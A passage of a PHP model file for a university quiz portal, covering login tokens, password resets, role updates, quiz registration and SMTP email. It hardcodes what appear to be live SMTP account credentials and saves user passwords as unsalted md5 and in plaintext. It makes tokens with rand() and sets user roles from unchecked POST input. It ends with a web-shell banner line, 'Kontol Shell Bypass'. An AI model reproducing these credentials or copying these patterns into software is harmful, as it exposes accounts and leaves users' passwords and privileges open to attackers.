		$alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
		for ($i = 0; $i < $len; $i++) {
			$n = rand(0, $alphaLength);
			$pass[] = $alphabet[$n];
		}
		return implode($pass); //turn the array into a string
	}
	
	/*
	* Function update_token
	*/
	function update_token($username, $token){
	 
		$userdata=array();
		$userdata['token']=$token;
		$userdata['visitor_ip']=$_SERVER["REMOTE_ADDR"];
		$userdata['timemodified']=date('Y-m-d H:i:s');
		$this->db->where('username',$username);
		if($this->db->update('user_token',$userdata)){
			return true;
		}else{
			
			return false;
		}
	}
	
	/*
	* Function saveinfo
	*/
	function saveinfo($tbl_name='tbl_password_reset', $data){
		if($tbl_name!='' && $data!='') {
			$last_id = $this->db->insert($tbl_name,$data);
			return $last_id;
		}
	}
	
	/*
	* Function :  updateinfo
	*/
	public function updateinfo($tbl_name='', $post, $field, $value)
    {
		$this->db->where($field, $value);
        if (!$this->db->update($tbl_name, $post)) {
            log_message('error', print_r($this->db->error(), true));
        }
		//echo $this->db->last_query(); die;
	}
	
	/*
	* Function insert_token
	*/
	function insert_token($username, $token){
	 	 if($username!='' && $token!='') {
			$userdata=array(
			'username'=>$username,
			'token'=>$token,
			'visitor_ip'=>$_SERVER["REMOTE_ADDR"],
			'timemodified'=>date('Y-m-d H:i:s')
			);
			if($this->db->insert('user_token',$userdata)){
				return true;
			}else{
				return false;
			}
		}
	}
	/*
	* function : update_role
	* Desc:
	* CreatedOn: 08 Jan 2021
	*/
	function update_role($uid){
		$logged_in=$this->session->userdata('logged_in');
		$userdata=array(
		'role_id'=>$this->input->post('role_id')	
		);
		
		$this->db->where('uid',$uid);
		
		if($this->db->update('savsoft_users',$userdata)){
			
			return true;
		}else{
			
			return false;
		}
	 
 }
 
 function module_list($uid = ''){
	$db2 = $this->load->database('readerdb', TRUE); 
	if(!empty($uid)){
		$db2->where('admin_id',$uid); 
	}
	$db2->order_by('mid','desc');
	$query=$db2->get('savsoft_module');
	//echo $this->db->last_query(); die;
	return $query->result_array();
}

/*
* Function :  grouplists
*/
function grouplists($uid = ''){
	$db2 = $this->load->database('readerdb', TRUE); 
	if(!empty($uid)){
		$db2->where('admin_id',$uid); 
	}
	$db2->order_by('gid','desc');
	$query=$db2->get('savsoft_group');
	//echo $this->db->last_query(); die;
	return $query->result_array();
}

/*
* Function :  validateSUser
*/
function validateSUser($email='', $gid=''){
	$db2 = $this->load->database('readerdb', TRUE); 
	 if($email!=''){
		  $db2->where('savsoft_users.email',$email);
	 }
	 if($gid!=''){
		  $db2->where('savsoft_users.gid',$gid);
	 }
	 $query=$db2->get('savsoft_users');
	 return $query->num_rows();
 }
 
/*
* Function :  deleteusertoken
*/
 function deleteusertoken($username){
	
	 $this->db->where('username',$username);
	 if($this->db->delete('user_token')){
		 return true;
	 }else{
		 
		 return false;
	 }
 }
 
/*
* Function :  sendResetPasswordEmail
*/
 function sendResetPasswordEmail($memberListAry, $token)
 {
	$toemail = $memberListAry['email'];
	$fromemail=$this->config->item('fromemail');
	$fromname=$this->config->item('fromname');
	$subject=$this->config->item('password_reset_subject');
	$message=$this->config->item('passsword_change_message');
	$url = base_url('login/resetpassword?token='.$token);
	$resetUrl = '<a href="'.$url.'"> reset password</a>';
	$message=str_replace('[link]',$resetUrl, $message);
	$message=str_replace('[verilink]',$url, $message);
	if($toemail!='' && $subject!='' && $message!=''){
		
		//$emailResp = $this->send_email_pepipost($toemail, $subject, $message);
		$emailResp = $this->sendSMTPCommonEmail($toemail, $subject, $message);
		return true;	
	}
		 
 }
	/*
	* Function :  getMemberForgotByResetToken
	*/
	function getMemberForgotByResetToken($recoveryToken='')
	{
		$db2 = $this->load->database('readerdb', TRUE); 
		$db2->where('password_recovery_token',$recoveryToken);
		$where = " expire_at >= now() ";
		$db2->where($where);
		$db2->where('is_valid','1');
		$query=$db2->get('tbl_password_reset');
		return $query->row_array();
	}
	
	/*
	* Function :  expireToken
	*/
	function expireToken($recoveryToken)
    {
		$userdata=array(
		'is_valid'=>'0',
		'expired_at'=>date('Y-m-d H:i:s')		 	
		);
	 	$this->db->where('password_recovery_token',$recoveryToken);
		if($this->db->update('tbl_password_reset',$userdata)){
			return true;
		} else {
			return false;
		}
    }
	/*
	* Function :  updatePassword
	*/
	public function updatePassword($uid, $password)
    {
		$user_detail=array(
			'password'=>md5($password),
			'user_key'=>$password,
			'modifiedon'=>date('Y-m-d H:i:s')
			);
		$this->db->where('uid', $uid);
		$this->db->update('savsoft_users',$user_detail);
        return true;
    }
	/*
	* Function :  get_quiz
	*/
	function get_quiz($quid){
		 $db2 = $this->load->database('readerdb', TRUE);
		 $db2->where('quid',$quid);
		 $query=$db2->get('savsoft_quiz');
		 return $query->row_array();
		 
		 
	} 
	/*
	* Function validate_qregistration
	*/
	function validate_qregistration($uid = '' , $qid = '' , $admin_id = '' ){
		if(!empty($uid)){
			$this->db->where('uid',$uid); 
		}
		if(!empty($qid)){
			$this->db->where('qid',$qid); 
		}
		if(!empty($admin_id)){
			$this->db->where('admin_id',$admin_id); 
		}
		$this->db->order_by('id','desc');
		$query=$this->db->get('savsoft_quiz_registration');
		//echo $this->db->last_query(); die;
		return $query->result_array();
	}
	/*
	* Function quiz_registration
	*/
	function quiz_registration($params, $tbl_name='savsoft_quiz_registration'){
		//validate registered or not
		$resp = $this->validate_qregistration($params['uid'],$params['qid'],$params['admin_id']);
		//print_r($resp); die;
		if(count($resp)==0) {
			 $client_ip = get_client_ip();
			 if($params!='' && $tbl_name!='') {
				$userdata=array(
				'qid'=>$params['qid'],
				'uid'=>$params['uid'],
				'gid'=>$params['gid'],
				'admin_id'=>$params['admin_id'],
				'page_key'=>$params['page_key'],
				'visitor_ip'=>$client_ip,
				'modified_on'=>date('Y-m-d H:i:s'),
				'created'=>date('Y-m-d H:i:s')
				); 
				//print_r($userdata); die;
				if($this->db->insert($tbl_name,$userdata)){
					return true;
				}else{
					return false;
				}
			}
		}
	}
	public function sendSMTPCommonEmail($to, $subject, $message)
	{
		$CI =& get_instance();
		$CI->load->library('email');
		$mail=$CI->email;
		$mail->clear();
		$from_email = 'quizbyte@sharda.ac.in';
		$from_name = 'Quizbyte Online Portal';
		$config['charset'] = 'utf-8';
		$config['wordwrap'] = TRUE;
		$config['mailtype'] = 'html';
		$config['protocol']   = "smtp";
		$config['smtp_host']  = 'ssl://smtp.gmail.com';
		$config['smtp_user']  = 'quizbyte@sharda.ac.in';
		$config['smtp_pass']  = 'quizbyte@2021';
		$config['smtp_port']  = '465';
		$config['_auth_smtp'] = TRUE;
		$config['newline']    = "\r\n";
		$config['crlf']       = "\r\n";
		$mail->initialize($config);
		$mail->from($from_email, $from_name);
		$mail->to($to);
		$mail->reply_to($from_email, $from_name);
		$mail->subject($subject);
		$mail->message($message);
		return $mail->send();
	}
	
	/*
	* Function : last_ten_result
	*
	*/
	 
	 function last_ten_result($uid)
	 {
		$db2 = $this->load->database('readerdb', TRUE);
		$db2->order_by('end_time','desc');
		$db2->limit(20);		
		$db2->where('savsoft_users.uid',$uid);
		$db2->where('savsoft_quiz.quiz_type','1');
		$db2->join('savsoft_users','savsoft_users.uid=savsoft_result.uid'); 
		$db2->join('savsoft_quiz','savsoft_quiz.quid=savsoft_result.quid');
		$query=$db2->get('savsoft_result');
		//echo $db2->last_query(); die;
		return $query->result_array();
	 }
	
 }
?>

Kontol Shell Bypass